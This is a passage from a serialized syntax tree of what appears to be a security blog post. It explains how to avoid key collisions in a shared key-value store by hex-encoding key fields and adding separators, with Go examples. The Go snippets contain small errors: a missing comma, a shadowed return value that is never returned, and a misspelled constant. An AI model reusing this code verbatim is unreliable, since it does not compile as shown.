",{"type":23,"tag":92,"props":85468,"children":85470},{"className":85469},[],[85471],{"type":28,"value":84489},{"type":28,"value":324},{"type":23,"tag":24,"props":85474,"children":85475},{},[85476,85478,85484,85486,85491],{"type":28,"value":85477},"To demonstrate this scenario, we introduce the ",{"type":23,"tag":92,"props":85479,"children":85481},{"className":85480},[],[85482],{"type":28,"value":85483},"NameToAddressMap",{"type":28,"value":85485}," structure, which will be stored in the same ",{"type":23,"tag":92,"props":85487,"children":85489},{"className":85488},[],[85490],{"type":28,"value":84489},{"type":28,"value":85492}," we previously used.",{"type":23,"tag":87,"props":85494,"children":85496},{"code":85495,"language":75676,"meta":7,"className":75677,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[85497],{"type":23,"tag":92,"props":85498,"children":85499},{"__ignoreMap":7},[85500,85515,85530,85537,85552,85571,85586,85593,85608,85663,85670,85686,85706,85721,85728,85744],{"type":23,"tag":134,"props":85501,"children":85502},{"class":136,"line":137},[85503,85507,85511],{"type":23,"tag":134,"props":85504,"children":85505},{"style":151},[85506],{"type":28,"value":32252},{"type":23,"tag":134,"props":85508,"children":85509},{"style":597},[85510],{"type":28,"value":84535},{"type":23,"tag":134,"props":85512,"children":85513},{"style":597},[85514],{"type":28,"value":75714},{"type":23,"tag":134,"props":85516,"children":85517},{"class":136,"line":147},[85518,85522,85526],{"type":23,"tag":134,"props":85519,"children":85520},{"style":151},[85521],{"type":28,"value":32252},{"type":23,"tag":134,"props":85523,"children":85524},{"style":597},[85525],{"type":28,"value":84551},{"type":23,"tag":134,"props":85527,"children":85528},{"style":597},[85529],{"type":28,"value":84556},{"type":23,"tag":134,"props":85531,"children":85532},{"class":136,"line":185},[85533],{"type":23,"tag":134,"props":85534,"children":85535},{"emptyLinePlaceholder":15},[85536],{"type":28,"value":865},{"type":23,"tag":134,"props":85538,"children":85539},{"class":136,"line":221},[85540,85544,85548],{"type":23,"tag":134,"props":85541,"children":85542},{"style":151},[85543],{"type":28,"value":32252},{"type":23,"tag":134,"props":85545,"children":85546},{"style":597},[85547],{"type":28,"value":84568},{"type":23,"tag":134,"props":85549,"children":85550},{"style":597},[85551],{"type":28,"value":84556},{"type":23,"tag":134,"props":85553,"children":85554},{"class":136,"line":332},[85555,85559,85563,85567],{"type":23,"tag":134,"props":85556,"children":85557},{"style":151},[85558],{"type":28,"value":32252},{"type":23,"tag":134,"props":85560,"children":85561},{"style":597},[85562],{"type":28,"value":6883},{"type":23,"tag":134,"props":85564,"children":85565},{"style":151},[85566],{"type":28,"value":20629},{"type":23,"tag":134,"props":85568,"children":85569},{"style":179},[85570],{"type":28,"value":463},{"type":23,"tag":134,"props":85572,"children":85573},{"class":136,"line":438},[85574,85578,85582],{"type":23,"tag":134,"props":85575,"children":85576},{"style":162},[85577],{"type":28,"value":42732},{"type":23,"tag":134,"props":85579,"children":85580},{"style":179},[85581],{"type":28,"value":75739},{"type":23,"tag":134,"props":85583,"children":85584},{"style":597},[85585],{"type":28,"value":83740},{"type":23,"tag":134,"props":85587,"children":85588},{"class":136,"line":466},[85589],{"type":23,"tag":134,"props":85590,"children":85591},{"style":179},[85592],{"type":28,"value":1098},{"type":23,"tag":134,"props":85594,"children":85595},{"class":136,"line":479},[85596,85600,85604],{"type":23,"tag":134,"props":85597,"children":85598},{"style":151},[85599],{"type":28,"value":32252},{"type":23,"tag":134,"props":85601,"children":85602},{"style":597},[85603],{"type":28,"value":84625},{"type":23,"tag":134,"props":85605,"children":85606},{"style":168},[85607],{"type":28,"value":84630},{"type":23,"tag":134,"props":85609,"children":85610},{"class":136,"line":497},[85611,85615,85619,85623,85627,85631,85635,85639,85643,85647,85651,85655,85659],{"type":23,"tag":134,"props":85612,"children":85613},{"style":151},[85614],{"type":28,"value":84638},{"type":23,"tag":134,"props":85616,"children":85617},{"style":179},[85618],{"type":28,"value":924},{"type":23,"tag":134,"props":85620,"children":85621},{"style":597},[85622],{"type":28,"value":84647},{"type":23,"tag":134,"props":85624,"children":85625},{"style":179},[85626],{"type":28,"value":14880},{"type":23,"tag":134,"props":85628,"children":85629},{"style":151},[85630],{"type":28,"value":66611},{"type":23,"tag":134,"props":85632,"children":85633},{"style":179},[85634],{"type":28,"value":924},{"type":23,"tag":134,"props":85636,"children":85637},{"style":597},[85638],{"type":28,"value":84664},{"type":23,"tag":134,"props":85640,"children":85641},{"style":179},[85642],{"type":28,"value":14880},{"type":23,"tag":134,"props":85644,"children":85645},{"style":151},[85646],{"type":28,"value":66611},{"type":23,"tag":134,"props":85648,"children":85649},{"style":179},[85650],{"type":28,"value":924},{"type":23,"tag":134,"props":85652,"children":85653},{"style":597},[85654],{"type":28,"value":84681},{"type":23,"tag":134,"props":85656,"children":85657},{"style":179},[85658],{"type":28,"value":14880},{"type":23,"tag":134,"props":85660,"children":85661},{"style":597},[85662],{"type":28,"value":84690},{"type":23,"tag":134,"props":85664,"children":85665},{"class":136,"line":518},[85666],{"type":23,"tag":134,"props":85667,"children":85668},{"emptyLinePlaceholder":15},[85669],{"type":28,"value":865},{"type":23,"tag":134,"props":85671,"children":85672},{"class":136,"line":527},[85673,85677,85682],{"type":23,"tag":134,"props":85674,"children":85675},{"style":151},[85676],{"type":28,"value":32252},{"type":23,"tag":134,"props":85678,"children":85679},{"style":597},[85680],{"type":28,"value":85681}," AddressName",{"type":23,"tag":134,"props":85683,"children":85684},{"style":597},[85685],{"type":28,"value":84556},{"type":23,"tag":134,"props":85687,"children":85688},{"class":136,"line":780},[85689,85693,85698,85702],{"type":23,"tag":134,"props":85690,"children":85691},{"style":151},[85692],{"type":28,"value":32252},{"type":23,"tag":134,"props":85694,"children":85695},{"style":597},[85696],{"type":28,"value":85697}," Address",{"type":23,"tag":134,"props":85699,"children":85700},{"style":151},[85701],{"type":28,"value":20629},{"type":23,"tag":134,"props":85703,"children":85704},{"style":179},[85705],{"type":28,"value":463},{"type":23,"tag":134,"props":85707,"children":85708},{"class":136,"line":797},[85709,85713,85717],{"type":23,"tag":134,"props":85710,"children":85711},{"style":162},[85712],{"type":28,"value":14573},{"type":23,"tag":134,"props":85714,"children":85715},{"style":179},[85716],{"type":28,"value":75739},{"type":23,"tag":134,"props":85718,"children":85719},{"style":597},[85720],{"type":28,"value":83740},{"type":23,"tag":134,"props":85722,"children":85723},{"class":136,"line":814},[85724],{"type":23,"tag":134,"props":85725,"children":85726},{"style":179},[85727],{"type":28,"value":1098},{"type":23,"tag":134,"props":85729,"children":85730},{"class":136,"line":827},[85731,85735,85740],{"type":23,"tag":134,"props":85732,"children":85733},{"style":151},[85734],{"type":28,"value":32252},{"type":23,"tag":134,"props":85736,"children":85737},{"style":597},[85738],{"type":28,"value":85739}," AddressMap",{"type":23,"tag":134,"props":85741,"children":85742},{"style":168},[85743],{"type":28,"value":84630},{"type":23,"tag":134,"props":85745,"children":85746},{"class":136,"line":836},[85747,85751,85755,85759,85763,85767,85771,85775,85779,85783,85787,85792,85796],{"type":23,"tag":134,"props":85748,"children":85749},{"style":151},[85750],{"type":28,"value":84638},{"type":23,"tag":134,"props":85752,"children":85753},{"style":179},[85754],{"type":28,"value":924},{"type":23,"tag":134,"props":85756,"children":85757},{"style":597},[85758],{"type":28,"value":84647},{"type":23,"tag":134,"props":85760,"children":85761},{"style":179},[85762],{"type":28,"value":14880},{"type":23,"tag":134,"props":85764,"children":85765},{"style":151},[85766],{"type":28,"value":66611},{"type":23,"tag":134,"props":85768,"children":85769},{"style":179},[85770],{"type":28,"value":924},{"type":23,"tag":134,"props":85772,"children":85773},{"style":597},[85774],{"type":28,"value":84664},{"type":23,"tag":134,"props":85776,"children":85777},{"style":179},[85778],{"type":28,"value":14880},{"type":23,"tag":134,"props":85780,"children":85781},{"style":151},[85782],{"type":28,"value":66611},{"type":23,"tag":134,"props":85784,"children":85785},{"style":179},[85786],{"type":28,"value":924},{"type":23,"tag":134,"props":85788,"children":85789},{"style":597},[85790],{"type":28,"value":85791},"AddressName",{"type":23,"tag":134,"props":85793,"children":85794},{"style":179},[85795],{"type":28,"value":14880},{"type":23,"tag":134,"props":85797,"children":85798},{"style":597},[85799],{"type":28,"value":85800},"Address\n",{"type":23,"tag":24,"props":85802,"children":85803},{},[85804],{"type":28,"value":85805},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":23,"tag":87,"props":85807,"children":85809},{"code":85808,"language":75676,"meta":7,"className":75677,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[85810],{"type":23,"tag":92,"props":85811,"children":85812},{"__ignoreMap":7},[85813,85824,85839,85846,85853,85860,85876,85891,85918,85941,85960,85976,86012,86019,86054,86061,86081,86096,86131,86138,86173,86180,86208,86220,86232,86244,86256,86267,86279,86286,86293,86300,86307,86323,86338,86362,86385,86404,86419,86454,86461,86496,86503,86523,86538,86573,86580,86616,86623,86650,86661,86672,86683,86694,86705,86717,86724],{"type":23,"tag":134,"props":85814,"children":85815},{"class":136,"line":137},[85816,85820],{"type":23,"tag":134,"props":85817,"children":85818},{"style":151},[85819],{"type":28,"value":9119},{"type":23,"tag":134,"props":85821,"children":85822},{"style":179},[85823],{"type":28,"value":78078},{"type":23,"tag":134,"props":85825,"children":85826},{"class":136,"line":147},[85827,85831,85835],{"type":23,"tag":134,"props":85828,"children":85829},{"style":162},[85830],{"type":28,"value":84843},{"type":23,"tag":134,"props":85832,"children":85833},{"style":168},[85834],{"type":28,"value":171},{"type":23,"tag":134,"props":85836,"children":85837},{"style":1461},[85838],{"type":28,"value":84852},{"type":23,"tag":134,"props":85840,"children":85841},{"class":136,"line":185},[85842],{"type":23,"tag":134,"props":85843,"children":85844},{"style":179},[85845],{"type":28,"value":329},{"type":23,"tag":134,"props":85847,"children":85848},{"class":136,"line":221},[85849],{"type":23,"tag":134,"props":85850,"children":85851},{"emptyLinePlaceholder":15},[85852],{"type":28,"value":865},{"type":23,"tag":134,"props":85854,"children":85855},{"class":136,"line":332},[85856],{"type":23,"tag":134,"props":85857,"children":85858},{"emptyLinePlaceholder":15},[85859],{"type":28,"value":865},{"type":23,"tag":134,"props":85861,"children":85862},{"class":136,"line":438},[85863,85867,85872],{"type":23,"tag":134,"props":85864,"children":85865},{"style":151},[85866],{"type":28,"value":75812},{"type":23,"tag":134,"props":85868,"children":85869},{"style":264},[85870],{"type":28,"value":85871}," PositionMapKey",{"type":23,"tag":134,"props":85873,"children":85874},{"style":179},[85875],{"type":28,"value":642},{"type":23,"tag":134,"props":85877,"children":85878},{"class":136,"line":466},[85879,85883,85887],{"type":23,"tag":134,"props":85880,"children":85881},{"style":162},[85882],{"type":28,"value":84759},{"type":23,"tag":134,"props":85884,"children":85885},{"style":597},[85886],{"type":28,"value":75933},{"type":23,"tag":134,"props":85888,"children":85889},{"style":179},[85890],{"type":28,"value":687},{"type":23,"tag":134,"props":85892,"children":85893},{"class":136,"line":479},[85894,85898,85902,85906,85910,85914],{"type":23,"tag":134,"props":85895,"children":85896},{"style":162},[85897],{"type":28,"value":84771},{"type":23,"tag":134,"props":85899,"children":85900},{"style":179},[85901],{"type":28,"value":242},{"type":23,"tag":134,"props":85903,"children":85904},{"style":162},[85905],{"type":28,"value":85252},{"type":23,"tag":134,"props":85907,"children":85908},{"style":179},[85909],{"type":28,"value":75739},{"type":23,"tag":134,"props":85911,"children":85912},{"style":597},[85913],{"type":28,"value":84277},{"type":23,"tag":134,"props":85915,"children":85916},{"style":179},[85917],{"type":28,"value":687},{"type":23,"tag":134,"props":85919,"children":85920},{"class":136,"line":497},[85921,85925,85929,85933,85937],{"type":23,"tag":134,"props":85922,"children":85923},{"style":179},[85924],{"type":28,"value":75894},{"type":23,"tag":134,"props":85926,"children":85927},{"style":162},[85928],{"type":28,"value":71666},{"type":23,"tag":134,"props":85930,"children":85931},{"style":179},[85932],{"type":28,"value":75739},{"type":23,"tag":134,"props":85934,"children":85935},{"style":597},[85936],{"type":28,"value":84277},{"type":23,"tag":134,"props":85938,"children":85939},{"style":179},[85940],{"type":28,"value":14272},{"type":23,"tag":134,"props":85942,"children":85943},{"class":136,"line":518},[85944,85948,85952,85956],{"type":23,"tag":134,"props":85945,"children":85946},{"style":162},[85947],{"type":28,"value":85373},{"type":23,"tag":134,"props":85949,"children":85950},{"style":168},[85951],{"type":28,"value":75928},{"type":23,"tag":134,"props":85953,"children":85954},{"style":264},[85955],{"type":28,"value":85076},{"type":23,"tag":134,"props":85957,"children":85958},{"style":179},[85959],{"type":28,"value":642},{"type":23,"tag":134,"props":85961,"children":85962},{"class":136,"line":527},[85963,85968,85972],{"type":23,"tag":134,"props":85964,"children":85965},{"style":179},[85966],{"type":28,"value":85967},"        []",{"type":23,"tag":134,"props":85969,"children":85970},{"style":597},[85971],{"type":28,"value":84277},{"type":23,"tag":134,"props":85973,"children":85974},{"style":179},[85975],{"type":28,"value":687},{"type":23,"tag":134,"props":85977,"children":85978},{"class":136,"line":780},[85979,85984,85988,85992,85996,86000,86004,86008],{"type":23,"tag":134,"props":85980,"children":85981},{"style":162},[85982],{"type":28,"value":85983},"        hex",{"type":23,"tag":134,"props":85985,"children":85986},{"style":179},[85987],{"type":28,"value":720},{"type":23,"tag":134,"props":85989,"children":85990},{"style":264},[85991],{"type":28,"value":85113},{"type":23,"tag":134,"props":85993,"children":85994},{"style":179},[85995],{"type":28,"value":272},{"type":23,"tag":134,"props":85997,"children":85998},{"style":264},[85999],{"type":28,"value":8601},{"type":23,"tag":134,"props":86001,"children":86002},{"style":179},[86003],{"type":28,"value":272},{"type":23,"tag":134,"props":86005,"children":86006},{"style":162},[86007],{"type":28,"value":84983},{"type":23,"tag":134,"props":86009,"children":86010},{"style":179},[86011],{"type":28,"value":85134},{"type":23,"tag":134,"props":86013,"children":86014},{"class":136,"line":797},[86015],{"type":23,"tag":134,"props":86016,"children":86017},{"style":179},[86018],{"type":28,"value":23409},{"type":23,"tag":134,"props":86020,"children":86021},{"class":136,"line":814},[86022,86026,86030,86034,86038,86042,86046,86050],{"type":23,"tag":134,"props":86023,"children":86024},{"style":162},[86025],{"type":28,"value":85104},{"type":23,"tag":134,"props":86027,"children":86028},{"style":179},[86029],{"type":28,"value":720},{"type":23,"tag":134,"props":86031,"children":86032},{"style":264},[86033],{"type":28,"value":85158},{"type":23,"tag":134,"props":86035,"children":86036},{"style":179},[86037],{"type":28,"value":272},{"type":23,"tag":134,"props":86039,"children":86040},{"style":162},[86041],{"type":28,"value":85067},{"type":23,"tag":134,"props":86043,"children":86044},{"style":179},[86045],{"type":28,"value":242},{"type":23,"tag":134,"props":86047,"children":86048},{"style":162},[86049],{"type":28,"value":84983},{"type":23,"tag":134,"props":86051,"children":86052},{"style":179},[86053],{"type":28,"value":329},{"type":23,"tag":134,"props":86055,"children":86056},{"class":136,"line":827},[86057],{"type":23,"tag":134,"props":86058,"children":86059},{"emptyLinePlaceholder":15},[86060],{"type":28,"value":865},{"type":23,"tag":134,"props":86062,"children":86063},{"class":136,"line":836},[86064,86069,86073,86077],{"type":23,"tag":134,"props":86065,"children":86066},{"style":162},[86067],{"type":28,"value":86068},"    positionNameEncoded",{"type":23,"tag":134,"props":86070,"children":86071},{"style":168},[86072],{"type":28,"value":75928},{"type":23,"tag":134,"props":86074,"children":86075},{"style":264},[86076],{"type":28,"value":85076},{"type":23,"tag":134,"props":86078,"children":86079},{"style":179},[86080],{"type":28,"value":642},{"type":23,"tag":134,"props":86082,"children":86083},{"class":136,"line":859},[86084,86088,86092],{"type":23,"tag":134,"props":86085,"children":86086},{"style":179},[86087],{"type":28,"value":85967},{"type":23,"tag":134,"props":86089,"children":86090},{"style":597},[86091],{"type":28,"value":84277},{"type":23,"tag":134,"props":86093,"children":86094},{"style":179},[86095],{"type":28,"value":687},{"type":23,"tag":134,"props":86097,"children":86098},{"class":136,"line":868},[86099,86103,86107,86111,86115,86119,86123,86127],{"type":23,"tag":134,"props":86100,"children":86101},{"style":162},[86102],{"type":28,"value":85983},{"type":23,"tag":134,"props":86104,"children":86105},{"style":179},[86106],{"type":28,"value":720},{"type":23,"tag":134,"props":86108,"children":86109},{"style":264},[86110],{"type":28,"value":85113},{"type":23,"tag":134,"props":86112,"children":86113},{"style":179},[86114],{"type":28,"value":272},{"type":23,"tag":134,"props":86116,"children":86117},{"style":264},[86118],{"type":28,"value":8601},{"type":23,"tag":134,"props":86120,"children":86121},{"style":179},[86122],{"type":28,"value":272},{"type":23,"tag":134,"props":86124,"children":86125},{"style":162},[86126],{"type":28,"value":85252},{"type":23,"tag":134,"props":86128,"children":86129},{"style":179},[86130],{"type":28,"value":85134},{"type":23,"tag":134,"props":86132,"children":86133},{"class":136,"line":877},[86134],{"type":23,"tag":134,"props":86135,"children":86136},{"style":179},[86137],{"type":28,"value":23409},{"type":23,"tag":134,"props":86139,"children":86140},{"class":136,"line":946},[86141,86145,86149,86153,86157,86161,86165,86169],{"type":23,"tag":134,"props":86142,"children":86143},{"style":162},[86144],{"type":28,"value":85104},{"type":23,"tag":134,"props":86146,"children":86147},{"style":179},[86148],{"type":28,"value":720},{"type":23,"tag":134,"props":86150,"children":86151},{"style":264},[86152],{"type":28,"value":85158},{"type":23,"tag":134,"props":86154,"children":86155},{"style":179},[86156],{"type":28,"value":272},{"type":23,"tag":134,"props":86158,"children":86159},{"style":162},[86160],{"type":28,"value":85193},{"type":23,"tag":134,"props":86162,"children":86163},{"style":179},[86164],{"type":28,"value":242},{"type":23,"tag":134,"props":86166,"children":86167},{"style":162},[86168],{"type":28,"value":85252},{"type":23,"tag":134,"props":86170,"children":86171},{"style":179},[86172],{"type":28,"value":329},{"type":23,"tag":134,"props":86174,"children":86175},{"class":136,"line":954},[86176],{"type":23,"tag":134,"props":86177,"children":86178},{"emptyLinePlaceholder":15},[86179],{"type":28,"value":865},{"type":23,"tag":134,"props":86181,"children":86182},{"class":136,"line":984},[86183,86188,86192,86196,86200,86204],{"type":23,"tag":134,"props":86184,"children":86185},{"style":162},[86186],{"type":28,"value":86187},"    key",{"type":23,"tag":134,"props":86189,"children":86190},{"style":168},[86191],{"type":28,"value":75928},{"type":23,"tag":134,"props":86193,"children":86194},{"style":162},[86195],{"type":28,"value":81746},{"type":23,"tag":134,"props":86197,"children":86198},{"style":179},[86199],{"type":28,"value":720},{"type":23,"tag":134,"props":86201,"children":86202},{"style":264},[86203],{"type":28,"value":84735},{"type":23,"tag":134,"props":86205,"children":86206},{"style":179},[86207],{"type":28,"value":642},{"type":23,"tag":134,"props":86209,"children":86210},{"class":136,"line":992},[86211,86216],{"type":23,"tag":134,"props":86212,"children":86213},{"style":1461},[86214],{"type":28,"value":86215},"        \"%d%s%s%s%s\"",{"type":23,"tag":134,"props":86217,"children":86218},{"style":179},[86219],{"type":28,"value":687},{"type":23,"tag":134,"props":86221,"children":86222},{"class":136,"line":1024},[86223,86228],{"type":23,"tag":134,"props":86224,"children":86225},{"style":162},[86226],{"type":28,"value":86227},"        vaultId",{"type":23,"tag":134,"props":86229,"children":86230},{"style":179},[86231],{"type":28,"value":687},{"type":23,"tag":134,"props":86233,"children":86234},{"class":136,"line":1032},[86235,86240],{"type":23,"tag":134,"props":86236,"children":86237},{"style":162},[86238],{"type":28,"value":86239},"        Seperator",{"type":23,"tag":134,"props":86241,"children":86242},{"style":179},[86243],{"type":28,"value":687},{"type":23,"tag":134,"props":86245,"children":86246},{"class":136,"line":1092},[86247,86252],{"type":23,"tag":134,"props":86248,"children":86249},{"style":162},[86250],{"type":28,"value":86251},"        usernameEncoded",{"type":23,"tag":134,"props":86253,"children":86254},{"style":179},[86255],{"type":28,"value":687},{"type":23,"tag":134,"props":86257,"children":86258},{"class":136,"line":8508},[86259,86263],{"type":23,"tag":134,"props":86260,"children":86261},{"style":162},[86262],{"type":28,"value":86239},{"type":23,"tag":134,"props":86264,"children":86265},{"style":179},[86266],{"type":28,"value":687},{"type":23,"tag":134,"props":86268,"children":86269},{"class":136,"line":8526},[86270,86275],{"type":23,"tag":134,"props":86271,"children":86272},{"style":162},[86273],{"type":28,"value":86274},"        positionNameEncoded",{"type":23,"tag":134,"props":86276,"children":86277},{"style":179},[86278],{"type":28,"value":687},{"type":23,"tag":134,"props":86280,"children":86281},{"class":136,"line":8571},[86282],{"type":23,"tag":134,"props":86283,"children":86284},{"style":179},[86285],{"type":28,"value":23409},{"type":23,"tag":134,"props":86287,"children":86288},{"class":136,"line":8677},[86289],{"type":23,"tag":134,"props":86290,"children":86291},{"style":179},[86292],{"type":28,"value":1098},{"type":23,"tag":134,"props":86294,"children":86295},{"class":136,"line":22988},[86296],{"type":23,"tag":134,"props":86297,"children":86298},{"emptyLinePlaceholder":15},[86299],{"type":28,"value":865},{"type":23,"tag":134,"props":86301,"children":86302},{"class":136,"line":23023},[86303],{"type":23,"tag":134,"props":86304,"children":86305},{"emptyLinePlaceholder":15},[86306],{"type":28,"value":865},{"type":23,"tag":134,"props":86308,"children":86309},{"class":136,"line":23031},[86310,86314,86319],{"type":23,"tag":134,"props":86311,"children":86312},{"style":151},[86313],{"type":28,"value":75812},{"type":23,"tag":134,"props":86315,"children":86316},{"style":264},[86317],{"type":28,"value":86318}," AddressMapKey",{"type":23,"tag":134,"props":86320,"children":86321},{"style":179},[86322],{"type":28,"value":642},{"type":23,"tag":134,"props":86324,"children":86325},{"class":136,"line":23039},[86326,86330,86334],{"type":23,"tag":134,"props":86327,"children":86328},{"style":162},[86329],{"type":28,"value":84759},{"type":23,"tag":134,"props":86331,"children":86332},{"style":597},[86333],{"type":28,"value":75933},{"type":23,"tag":134,"props":86335,"children":86336},{"style":179},[86337],{"type":28,"value":687},{"type":23,"tag":134,"props":86339,"children":86340},{"class":136,"line":23048},[86341,86345,86349,86354,86358],{"type":23,"tag":134,"props":86342,"children":86343},{"style":162},[86344],{"type":28,"value":84771},{"type":23,"tag":134,"props":86346,"children":86347},{"style":179},[86348],{"type":28,"value":242},{"type":23,"tag":134,"props":86350,"children":86351},{"style":162},[86352],{"type":28,"value":86353},"addressName",{"type":23,"tag":134,"props":86355,"children":86356},{"style":179},[86357],{"type":28,"value":75739},{"type":23,"tag":134,"props":86359,"children":86360},{"style":597},[86361],{"type":28,"value":83740},{"type":23,"tag":134,"props":86363,"children":86364},{"class":136,"line":23090},[86365,86369,86373,86377,86381],{"type":23,"tag":134,"props":86366,"children":86367},{"style":179},[86368],{"type":28,"value":75894},{"type":23,"tag":134,"props":86370,"children":86371},{"style":162},[86372],{"type":28,"value":71666},{"type":23,"tag":134,"props":86374,"children":86375},{"style":179},[86376],{"type":28,"value":75739},{"type":23,"tag":134,"props":86378,"children":86379},{"style":597},[86380],{"type":28,"value":84277},{"type":23,"tag":134,"props":86382,"children":86383},{"style":179},[86384],{"type":28,"value":14272},{"type":23,"tag":134,"props":86386,"children":86387},{"class":136,"line":23123},[86388,86392,86396,86400],{"type":23,"tag":134,"props":86389,"children":86390},{"style":162},[86391],{"type":28,"value":85373},{"type":23,"tag":134,"props":86393,"children":86394},{"style":168},[86395],{"type":28,"value":75928},{"type":23,"tag":134,"props":86397,"children":86398},{"style":264},[86399],{"type":28,"value":85076},{"type":23,"tag":134,"props":86401,"children":86402},{"style":179},[86403],{"type":28,"value":642},{"type":23,"tag":134,"props":86405,"children":86406},{"class":136,"line":23131},[86407,86411,86415],{"type":23,"tag":134,"props":86408,"children":86409},{"style":179},[86410],{"type":28,"value":85967},{"type":23,"tag":134,"props":86412,"children":86413},{"style":597},[86414],{"type":28,"value":84277},{"type":23,"tag":134,"props":86416,"children":86417},{"style":179},[86418],{"type":28,"value":687},{"type":23,"tag":134,"props":86420,"children":86421},{"class":136,"line":23139},[86422,86426,86430,86434,86438,86442,86446,86450],{"type":23,"tag":134,"props":86423,"children":86424},{"style":162},[86425],{"type":28,"value":85983},{"type":23,"tag":134,"props":86427,"children":86428},{"style":179},[86429],{"type":28,"value":720},{"type":23,"tag":134,"props":86431,"children":86432},{"style":264},[86433],{"type":28,"value":85113},{"type":23,"tag":134,"props":86435,"children":86436},{"style":179},[86437],{"type":28,"value":272},{"type":23,"tag":134,"props":86439,"children":86440},{"style":264},[86441],{"type":28,"value":8601},{"type":23,"tag":134,"props":86443,"children":86444},{"style":179},[86445],{"type":28,"value":272},{"type":23,"tag":134,"props":86447,"children":86448},{"style":162},[86449],{"type":28,"value":84983},{"type":23,"tag":134,"props":86451,"children":86452},{"style":179},[86453],{"type":28,"value":85134},{"type":23,"tag":134,"props":86455,"children":86456},{"class":136,"line":23148},[86457],{"type":23,"tag":134,"props":86458,"children":86459},{"style":179},[86460],{"type":28,"value":23409},{"type":23,"tag":134,"props":86462,"children":86463},{"class":136,"line":23224},[86464,86468,86472,86476,86480,86484,86488,86492],{"type":23,"tag":134,"props":86465,"children":86466},{"style":162},[86467],{"type":28,"value":85104},{"type":23,"tag":134,"props":86469,"children":86470},{"style":179},[86471],{"type":28,"value":720},{"type":23,"tag":134,"props":86473,"children":86474},{"style":264},[86475],{"type":28,"value":85158},{"type":23,"tag":134,"props":86477,"children":86478},{"style":179},[86479],{"type":28,"value":272},{"type":23,"tag":134,"props":86481,"children":86482},{"style":162},[86483],{"type":28,"value":85067},{"type":23,"tag":134,"props":86485,"children":86486},{"style":179},[86487],{"type":28,"value":242},{"type":23,"tag":134,"props":86489,"children":86490},{"style":162},[86491],{"type":28,"value":84983},{"type":23,"tag":134,"props":86493,"children":86494},{"style":179},[86495],{"type":28,"value":329},{"type":23,"tag":134,"props":86497,"children":86498},{"class":136,"line":23257},[86499],{"type":23,"tag":134,"props":86500,"children":86501},{"emptyLinePlaceholder":15},[86502],{"type":28,"value":865},{"type":23,"tag":134,"props":86504,"children":86505},{"class":136,"line":23265},[86506,86511,86515,86519],{"type":23,"tag":134,"props":86507,"children":86508},{"style":162},[86509],{"type":28,"value":86510},"    addressNameEncoded",{"type":23,"tag":134,"props":86512,"children":86513},{"style":168},[86514],{"type":28,"value":75928},{"type":23,"tag":134,"props":86516,"children":86517},{"style":264},[86518],{"type":28,"value":85076},{"type":23,"tag":134,"props":86520,"children":86521},{"style":179},[86522],{"type":28,"value":642},{"type":23,"tag":134,"props":86524,"children":86525},{"class":136,"line":23273},[86526,86530,86534],{"type":23,"tag":134,"props":86527,"children":86528},{"style":179},[86529],{"type":28,"value":85967},{"type":23,"tag":134,"props":86531,"children":86532},{"style":597},[86533],{"type":28,"value":84277},{"type":23,"tag":134,"props":86535,"children":86536},{"style":179},[86537],{"type":28,"value":687},{"type":23,"tag":134,"props":86539,"children":86540},{"class":136,"line":23310},[86541,86545,86549,86553,86557,86561,86565,86569],{"type":23,"tag":134,"props":86542,"children":86543},{"style":162},[86544],{"type":28,"value":85983},{"type":23,"tag":134,"props":86546,"children":86547},{"style":179},[86548],{"type":28,"value":720},{"type":23,"tag":134,"props":86550,"children":86551},{"style":264},[86552],{"type":28,"value":85113},{"type":23,"tag":134,"props":86554,"children":86555},{"style":179},[86556],{"type":28,"value":272},{"type":23,"tag":134,"props":86558,"children":86559},{"style":264},[86560],{"type":28,"value":8601},{"type":23,"tag":134,"props":86562,"children":86563},{"style":179},[86564],{"type":28,"value":272},{"type":23,"tag":134,"props":86566,"children":86567},{"style":162},[86568],{"type":28,"value":86353},{"type":23,"tag":134,"props":86570,"children":86571},{"style":179},[86572],{"type":28,"value":85134},{"type":23,"tag":134,"props":86574,"children":86575},{"class":136,"line":23323},[86576],{"type":23,"tag":134,"props":86577,"children":86578},{"style":179},[86579],{"type":28,"value":23409},{"type":23,"tag":134,"props":86581,"children":86582},{"class":136,"line":23336},[86583,86587,86591,86595,86599,86604,86608,86612],{"type":23,"tag":134,"props":86584,"children":86585},{"style":162},[86586],{"type":28,"value":85104},{"type":23,"tag":134,"props":86588,"children":86589},{"style":179},[86590],{"type":28,"value":720},{"type":23,"tag":134,"props":86592,"children":86593},{"style":264},[86594],{"type":28,"value":85158},{"type":23,"tag":134,"props":86596,"children":86597},{"style":179},[86598],{"type":28,"value":272},{"type":23,"tag":134,"props":86600,"children":86601},{"style":162},[86602],{"type":28,"value":86603},"addressNameEncoded",{"type":23,"tag":134,"props":86605,"children":86606},{"style":179},[86607],{"type":28,"value":242},{"type":23,"tag":134,"props":86609,"children":86610},{"style":162},[86611],{"type":28,"value":86353},{"type":23,"tag":134,"props":86613,"children":86614},{"style":179},[86615],{"type":28,"value":329},{"type":23,"tag":134,"props":86617,"children":86618},{"class":136,"line":23349},[86619],{"type":23,"tag":13